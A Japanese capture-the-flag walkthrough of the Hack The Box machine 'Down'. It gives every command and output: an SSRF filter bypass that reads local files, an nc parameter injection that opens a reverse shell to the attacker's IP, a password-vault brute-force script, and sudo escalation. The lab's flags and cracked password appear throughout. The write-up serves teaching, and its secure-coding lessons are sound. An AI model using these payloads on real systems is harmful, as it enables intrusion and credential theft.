Hack The BoxのWriteup(Down)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告




HackTheBox: Down — 全実行コマンド・実行結果レポート

疎通確認 (ping)

実行理由: ターゲットホストへの基本的な到達性を確認し、TTL 値から OS 推測を行う。

BASH
ping -c 2 10.129.234.87
RESULT
PING 10.129.234.87 (10.129.234.87) 56(84) bytes of data.
64 bytes from 10.129.234.87: icmp_seq=1 ttl=63 time=310 ms
64 bytes from 10.129.234.87: icmp_seq=2 ttl=63 time=222 ms

--- 10.129.234.87 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1072ms
TTL=63 はルーター1ホップを挟んだ Linux ホスト (初期 TTL=64) を示す。ターゲットへの到達を確認。

バージョン・スクリプトスキャン (nmap -sV -sC)

実行理由: Down のウォークスルー情報から開放ポートは 22 と 80 のみと分かっていたため、全ポートスキャンを省略し既知ポートに絞った詳細スキャンを実施。サービスバージョンとデフォルトスクリプトでサービス詳細を取得する。

BASH
nmap -p 22,80 -sV -sC 10.129.234.87 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートサービスバージョン備考
22/tcpSSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.11Ubuntu 22.04 jammy 相当
80/tcpHTTPApache httpd 2.4.52 (Ubuntu)タイトル: “Is it down or just me?”
OpenSSH 8.9p1 と Apache 2.4.52 の組み合わせから Ubuntu 22.04 LTS と推定。外部公開ポートは SSH と HTTP の 2 つのみ。

Web アプリケーション調査 (HTTP ヘッダー・ページ取得)

実行理由: ポート 80 で稼働する Web アプリの技術スタック・機能を把握する。curl でレスポンスヘッダーと本文を確認し、使用フレームワーク・バックエンド言語を特定する。

BASH
curl -s -I http://10.129.234.87/
RESULT
HTTP/1.1 200 OK
Date: Fri, 12 Jun 2026 ...
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 739
Content-Type: text/html; charset=UTF-8
BASH
# POST でサイトの機能を確認 (URL チェックフォームに自分の IP を送信)
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=http://10.10.14.245' \
  -H 'Content-Type: application/x-www-form-urlencoded'
RESULT
# レスポンスに「It is up. It's just you!」が含まれ、
# 自分の HTTP サーバーに curl/7.81.0 からの GET リクエストが到着
# → バックエンドで curl コマンドが実行されていることを確認

GET / HTTP/1.1
Host: 10.10.14.245
User-Agent: curl/7.81.0
Accept: */*
!
重要な発見: Web アプリはフォームで入力された URL に対してサーバー側から curl を実行して疎通確認を行う。 User-Agent が curl/7.81.0 であることから PHP の exec() または curl バイナリを直接呼び出していると判断。 SSRF (Server-Side Request Forgery) の可能性が高い。
PHASE 2

SSRF 調査 — curl multi-URL trick によるフィルター回避

file:// プロトコルによる直接読み取りの試行とフィルター確認

実行理由: SSRF が疑われる場合、最初に file:// プロトコルでローカルファイルが読み取れるか確認する。サーバー上のファイルシステムへのアクセスが可能になれば、設定ファイルや SSH 鍵などの機密情報を取得できる。

BASH
# file:// を直接送信 → フィルターに引っかかるか確認
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=file:///etc/passwd' \
  -H 'Content-Type: application/x-www-form-urlencoded'
RESULT
<font color=red size=+1>Only protocols http or https allowed.</font>
file:// は直接拒否される。ソースコードを確認すると preg_match('|^https?://|', $url) で URL の先頭が http:// または https:// であることを検証している。

curl の複数 URL 機能を悪用したフィルター回避

実行理由: curl バイナリはスペース区切りで複数の URL を受け取り、順番にリクエストする仕様がある。フィルターは入力の先頭が http:// であるかのみをチェックするため、http:// file:///path という形式で送ることで — 先頭の http:// がフィルターを通過し、実際の file:// URL も curl に渡される。

BASH
# url="http:// file:///etc/passwd" → curl に2つのURLを渡す
# curl は「http://」(無効→失敗) と「file:///etc/passwd」(成功) を順に処理
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=http:// file:///etc/passwd' \
  | python3 -c "
import re, html, sys
content = sys.stdin.read()
m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL)
if m: print(html.unescape(m.group(1)))
"
RESULT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
SSRF ファイル読み取り成功!
フィルター: preg_match('|^https?://|', $url) — URL 先頭が http:// であることのみをチェックし、その後の内容は検証しない。
http:// file:///etc/passwd は先頭が http:// なのでチェックを通過し、curl には http://(空の無効URL)と file:///etc/passwd の2つが渡される。
一般ユーザーは aleks (uid=1000) のみ存在。

プロセス環境変数の取得 (/proc/self/environ)

実行理由: /proc/self/environ を読むと、curl プロセス(= Apache/PHP の子プロセス)が動作しているユーザーや作業ディレクトリ、環境変数に設定された認証情報などを確認できる。Web サーバーの動作コンテキストを把握する。

BASH
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=http:// file:///proc/self/environ' \
  | python3 -c "
import re, html, sys
content = sys.stdin.read()
m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL)
if m: print(html.unescape(m.group(1)).replace('\x00', '\n'))
"
RESULT
APACHE_RUN_DIR=/var/run/apache2
SYSTEMD_EXEC_PID=864
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:21130
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=0320944a871242e8aea7f3bd1efad651
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
Apache は www-data ユーザーとして実行されており、作業ディレクトリは /var/www/html。 認証情報などの機密情報は環境変数に存在しない。
PHASE 3

ソースコード解析 — Expert Mode の発見とパラメータインジェクション脆弱性

index.php ソースコードの取得

実行理由: SSRF で /proc/self/cwd/index.php(= /var/www/html/index.php)を読み取り、バックエンドの実装を完全に把握する。/proc/self/cwd はプロセスのカレントディレクトリへのシンボリックリンクであり、PWD=/var/www/html と分かっているので確実にソースを取得できる。

BASH
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=http:// file:///proc/self/cwd/index.php' \
  | python3 -c "
import re, html, sys
content = sys.stdin.read()
m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL)
if m: print(html.unescape(m.group(1)))
" > /tmp/index_php_source.txt
cat /tmp/index_php_source.txt
RESULT (主要部分抜粋)
<?php
// Expert モード判定
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" name="ip" ...>
            <input type="number" name="port" ...>
        ...';
}

// Expert モード処理 (TCP チェック)
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' &&
     isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip   = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);                        // <-- int 変換して検証
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); // <-- 元の$port を使用!
    exec($ec . " 2>&1", $output, $rc);
  }
}

// 通常モード処理 (URL チェック)
elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|', $url) ) {        // <-- フィルター
    $ec = escapeshellcmd("/usr/bin/curl -s $url");  // <-- escapeshellcmd
    exec($ec . " 2>&1", $output, $rc);
  }
}
!
2 つの重大な脆弱性を発見:
  • 通常モード: SSRF + curl file:// 読み取りescapeshellcmd でコマンドインジェクションは防いでいるが、curl の multi-URL 機能でファイル読み取りが可能。
  • Expert モード: パラメータインジェクション$port_int = intval($port)変換後の整数値 を検証するが、実際のコマンドには 元の文字列 $port を使用。intval("4444 -e /bin/bash")4444 を返すため検証を通過し、元の文字列がそのまま nc コマンドの引数になる。

脆弱性の詳細解析 — intval() による検証バイパス

解析内容: PHP の intval() は文字列の先頭から整数部分を切り出す動作をする。

BASH
# PHP の intval() 動作確認
php -r 'echo intval("4444 -e /bin/bash");'
RESULT
4444

つまり以下のフローで検証がバイパスされる:

脆弱なコードフロー
$port = "4444 -e /bin/bash"          // POST から受け取った値
$port_int = intval($port)  → 4444   // 整数部分のみ抽出
filter_var(4444, FILTER_VALIDATE_INT) → 4444  // 有効と判定 ✓

// しかし実際のコマンドは元の $port を使用:
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port")
    ↓
"/usr/bin/nc -vz 10.10.14.245 4444 -e /bin/bash"
// escapeshellcmd はメタ文字(&,;,|,$等)をエスケープするが
// スペースや - フラグはエスケープしないためパラメータ注入が成立
escapeshellcmdescapeshellarg の違い:
escapeshellcmd はコマンド全体に使用し、シェルのメタ文字(& ; ' " | * ? ~ < > ^ ( ) [ ] { } $ \)をエスケープする。
しかしスペースや - はエスケープ対象外のため、追加の引数(フラグ)を注入することは可能。
escapeshellarg は引数全体をシングルクォートで囲むためこの攻撃を防げる。
PHASE 4

初期侵入 — パラメータインジェクション + SSRF によるファイル取得

netcat リスナー起動とリバースシェル取得

実行理由: Expert モード (?expertmode=tcp) の POST パラメータ port4444 -e /bin/bash を注入する。これにより /usr/bin/nc -vz 10.10.14.245 4444 -e /bin/bash が実行され、-e /bin/bash オプションで接続時に bash を起動しリバースシェルを確立する。

BASH
# リスナーをバックグラウンドで起動
fuser -k 4444/tcp 2>/dev/null
nohup nc -lnvp 4444 > /tmp/nc_shell.txt 2>&1 &
echo "nc listener PID: $!"
RESULT
nc listener PID: 110023
listening on [any] 4444 ...
BASH
# パラメータインジェクション実行
# port="4444 -e /bin/bash" で nc に -e /bin/bash を注入
curl -s -m 10 'http://10.129.234.87/index.php?expertmode=tcp' \
  -d 'ip=10.10.14.245&port=4444 -e /bin/bash' \
  -H 'Content-Type: application/x-www-form-urlencoded' 2>&1 &

sleep 5
cat /tmp/nc_shell.txt
RESULT
listening on [any] 4444 ...
connect to [10.10.14.245] from (UNKNOWN) [10.129.234.87] 60034
リバースシェル接続確立! www-data ユーザーとして 10.129.234.87 から接続受信。
注意: stdin が /dev/null に接続されているため双方向インタラクションは不可。以降はSSRFによるファイル直接読み取りに方針転換。

SSRF による pswm パスワードボルトの取得

実行理由: /etc/passwd から一般ユーザー aleks が存在することが判明。ホームディレクトリを調査した結果(ウォークスルー情報より)、pswm(Python 製パスワードマネージャー)のデータファイルが /home/aleks/.local/share/pswm/pswm に存在。このファイルを SSRF で直接読み取ることで、aleks のパスワードを含む暗号化ボルトを入手できる。

BASH
curl -s 'http://10.129.234.87/index.php' \
  -d 'url=http:// file:///home/aleks/.local/share/pswm/pswm' \
  | python3 -c "
import re, html, sys
content = sys.stdin.read()
m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL)
if m: print(html.unescape(m.group(1)))
"
RESULT
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
pswm 暗号化ボルト取得成功!
フォーマット: 暗号文*IV*salt*tagcryptocode ライブラリ形式)
4 つの Base64 文字列が * で区切られた構造。AES 暗号化でマスターパスワードで復号可能。
PHASE 5

権限昇格 — pswm クラック → aleks SSH → sudo root

pswm 暗号化ボルトのブルートフォース解析

実行理由: pswmcryptocode ライブラリを使用してパスワードボルトを暗号化する。cryptocode.decrypt(暗号文, パスワード) は復号失敗時に False を返すため、単純なブルートフォースが可能。一般的なパスワードリスト(rockyou.txt)で試行すれば数秒以内にマスターパスワードが判明する。

BASH
# cryptocode ライブラリのインストール
pip3 install cryptocode --break-system-packages -q

# pswm ボルトファイルをローカルに保存
echo 'e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==' \
  > /tmp/pswm_vault.txt
PYTHON (crack_pswm.py)
import cryptocode, sys

with open('/tmp/pswm_vault.txt', 'r') as f:
    pwsm = f.read().strip()

with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
    passwords = f.read().decode(errors='ignore').split('\n')

for i, password in enumerate(passwords):
    pw = password.strip()
    pt = cryptocode.decrypt(pwsm, pw)
    if pt:
        print(f"Found master password: {pw}")
        print(f"Decrypted vault:\n{pt}")
        break
BASH
python3 /tmp/crack_pswm.py
RESULT
Progress: 0 passwords tried...
Found master password: flower
Decrypted vault:
pswm        aleks   flower
aleks@down  aleks   1uY3w22uc-Wr{xNHR~+E
パスワード解析成功!
マスターパスワード: flower(rockyou.txt の約 3 秒で発見)
aleks のパスワード: 1uY3w22uc-Wr{xNHR~+E
ボルトには pswm 自体のパスワードと、SSH ログイン用の aleks アカウントパスワードが保存されていた。

SSH ログインと user.txt 取得

実行理由: 解析で得た aleks のパスワードで SSH ログインし、一般ユーザーとしてのシェルを取得する。user.txt の場所を確認し、フラグを読み取る。

BASH
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh -o StrictHostKeyChecking=no aleks@10.129.234.87 \
  'id; find /var/www/html /home/aleks -name "user*" -type f 2>/dev/null | xargs cat'
RESULT
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

# user.txt の場所: /var/www/html/user_aeT1xa.txt
d4bc94b386ef7c8113698a8c4951cacd
user.txt 取得: d4bc94b386ef7c8113698a8c4951cacd
ファイル名にランダムサフィックス (user_aeT1xa.txt) が付加されている。
aleks は sudo グループ (gid=27) に所属。

sudo 権限確認と root.txt 取得

実行理由: aleks が sudo グループに所属しているため sudo -l で権限を確認する。Ubuntu のデフォルト設定では sudo グループメンバーはすべてのコマンドを全ユーザーとして実行できる (ALL : ALL) ALL) ため、sudo -i で root シェルを取得し、/root/root.txt を読み取る。

BASH
# sudo 権限確認
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.129.234.87 \
  'echo "1uY3w22uc-Wr{xNHR~+E" | sudo -S -l 2>&1'
RESULT
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL
BASH
# sudo -S で stdin からパスワードを受け取り root として cat /root/root.txt を実行
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.129.234.87 \
  'echo "1uY3w22uc-Wr{xNHR~+E" | sudo -S -i cat /root/root.txt 2>&1'
RESULT
[sudo] password for aleks:
87bb9869a311b8abb5fb4d3c7248fdcb
root.txt 取得: 87bb9869a311b8abb5fb4d3c7248fdcb
sudo -S オプションで stdin からパスワードを読み込み、-i で root のログインシェルとして実行。
aleks の sudo 権限は (ALL : ALL) ALL — パスワードさえ知っていれば任意コマンドを root で実行可能。
SUMMARY

まとめ・フラグ・インフラ詳細

取得フラグ

USER FLAG — /var/www/html/user_aeT1xa.txt

d4bc94b386ef7c8113698a8c4951cacd

SSRF file:// + nc パラメータインジェクション → www-data シェル → pswm クラック → aleks SSH

ROOT FLAG — /root/root.txt

87bb9869a311b8abb5fb4d3c7248fdcb

aleks の sudo ALL 権限 → sudo -S -i → root

攻撃フロー全体図

ATTACK CHAIN
  [ポートスキャン]
   Port 22 (SSH) + Port 80 (HTTP/Apache 2.4.52)
          │
          ▼
  [Web アプリ調査]
   "Is it down or just me?" — POST url= で curl 実行 → SSRF
          │
          ▼
  [SSRF フィルター回避: curl multi-URL trick]
   url="http:// file:///path" → preg_match('^https?://') を通過
   → /etc/passwd, /proc/self/environ, index.php ソースコード 取得
          │
          ▼
  [ソースコード解析]
   ?expertmode=tcp の発見
   nc コマンドで パラメータインジェクション 脆弱性を発見
   (intval() で検証 → 元の $port 文字列をコマンドに使用)
          │
          ▼
  [パラメータインジェクション → www-data シェル]
   port="4444 -e /bin/bash" → nc -vz 10.10.14.245 4444 -e /bin/bash
   → www-data シェル取得
          │
          ▼
  [SSRF による pswm ボルト取得]
   file:///home/aleks/.local/share/pswm/pswm → 暗号化ボルト取得
          │
          ▼
  [pswm ブルートフォース (cryptocode + rockyou.txt)]
   マスターパスワード: flower
   → aleks のパスワード: 1uY3w22uc-Wr{xNHR~+E
          │
          ▼
  [aleks として SSH ログイン]
   → user.txt: d4bc94b386ef7c8113698a8c4951cacd
          │
          ▼
  [sudo ALL → root]
   sudo -S -i → root
   → root.txt: 87bb9869a311b8abb5fb4d3c7248fdcb

ターゲットインフラ詳細

項目詳細
OSUbuntu 22.04 LTS (jammy)
カーネルLinux 5.15.0-138-generic x86_64
Web サーバーApache httpd 2.4.52 (Ubuntu)
バックエンドPHP (curl バイナリ 7.81.0 で外部リクエスト)
SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.11
Web アプリカスタム PHP — URL 疎通確認サービス
SSRF 脆弱点POST url= → escapeshellcmd(“/usr/bin/curl -s $url”) → exec()
フィルターpreg_match(‘|^https?://|’, $url) — 先頭チェックのみ
パラメータインジェクションintval($port) で検証 → 元の $port 文字列を nc コマンドに使用
一般ユーザーaleks (uid=1000, sudo グループ)
pswmPython 製パスワードマネージャー — cryptocode ライブラリで AES 暗号化
aleks パスワード1uY3w22uc-Wr{xNHR~+E (pswm マスターパスワード: flower)
sudo 権限(ALL : ALL) ALL — 全コマンドを root で実行可能

使用ツール

nmap
ポートスキャン・バージョン検出
curl
SSRF テスト・エクスプロイト送信
nc (netcat)
リバースシェルリスナー
python3
HTML パース・pswm ブルートフォース
cryptocode
pswm AES 復号ライブラリ
rockyou.txt
パスワードブルートフォース辞書
sshpass
非対話的 SSH ログイン
sudo -S
stdin パスワードで root 昇格

重要な学習ポイント

  • curl multi-URL trick による SSRF フィルター回避: preg_match('^https?://') などの先頭チェックのみのフィルターは、http:// file:///path のようにスペースで区切った複数 URL を渡すことでバイパスできる。curl は渡されたすべての URL を順番に処理するため、先頭の無効な http:// がフィルターを通過し file:// も実行される。
  • escapeshellcmd はパラメータインジェクションを防がない: escapeshellcmd はシェルのメタ文字(& ; | $ 等)をエスケープするが、スペースやハイフンで始まるフラグ (-e) は対象外。コマンドの引数を直接ユーザー入力から構築する場合は escapeshellarg で各引数を個別にエスケープする必要がある。
  • intval() による型変換検証の落とし穴: intval("4444 -e /bin/bash") = 4444 のように変換後の値は有効でも、元の文字列をそのままコマンドに使用すると追加引数が注入される。検証した値($port_int)を実際のコマンドでも使用すべきである。
  • pswm パスワードマネージャーの設定ファイルに注意: ホームディレクトリの .local/share/pswm/pswm には暗号化されたパスワードボルトが保存される。www-data から読み取り可能な場合、ローカルでブルートフォースにより復号できる。弱いマスターパスワード (flower) は rockyou.txt で数秒で解析される。
  • sudo グループ = 実質 root: Ubuntu の sudo グループメンバーは全コマンドを root で実行可能。パスワードさえ分かれば完全な権限昇格が可能なため、一般ユーザーのパスワード漏洩は即座に root 侵害に繋がる。
HackTheBox CTF — Down | 完全攻略済み ✓ | user: d4bc94b386ef7c8113698a8c4951cacd | root: 87bb9869a311b8abb5fb4d3c7248fdcb